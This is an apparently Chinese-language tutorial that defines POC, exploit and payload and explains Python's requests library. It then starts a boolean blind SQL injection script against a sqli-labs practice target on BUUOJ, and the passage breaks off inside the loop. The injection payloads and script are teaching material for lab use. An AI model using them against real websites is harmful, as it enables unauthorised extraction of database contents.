什么是POC、EXP、payload?
答:
POC:
全称为‘Proof of concept’,意为概念验证,常指为一段漏洞的证明代码
理解为:发现可能存在的漏洞后,强调对漏洞是否存在进行验证
EXP:
全称为‘Exploit’,意为利用,指利用系统漏洞进行攻击的动作
理解为:对已存在的漏洞进行利用,强调利用已有的资源
Payload:
意为有效载荷,指成功exploit之后,真正在目标系统执行的代码或指令
理解为例如使用了一条恶意SQL语句,使网站出现报错回显,这挑语句就是造成报错回显的payload
使用python编写EXP
核心模块request
pip install requests
requests模块
Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传,支持自动响应内容的编码,支持国际化的URL和POST数据自动编码
requests会自动实现持久连接keep-alive
支持的HTTP方法
- GET 获取资源
- POST 传输实体主体
- PUT 传输文件
- HEAD 获取响应报文首部
- DELETE 删除文件
- TRACE 追踪路径
- CONNECT 要求用隧道协议连接代理
- LINK 建立和资源之间的连接
- UNLINK 断开连接关系
requests获取HTTP方式
res = requests.get()
res = requests.post()
.......
构造布尔盲注EXP
平常的盲注如果手工的话会很麻烦,多数情况下大家会选择SQLmap等相关软件一把梭
但是有些情况下,考虑到SQLmap的线程和其他情况会造成一些影响
所以我们可以简单的利用python来构造一个盲注脚本(低线程、高效率)
求数据库长度和名字(一)
import requests
url = 'http://14af1b91-a892-4c9e-b896-0835afaafb8a.node4.buuoj.cn/Less-8/?id=1'
payload1 = "'and length(database())={}%23"
payload2 ="' and ascii(substr(database(),{},1))={}%23 "
exp1 = url + payload1
exp2 = url + payload2
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0'
}
i = 0
while 1:
req = requests.get(url=exp1.format(i), headers=headers)
#print(exp1.format(i))
if "You are in..........." in req.text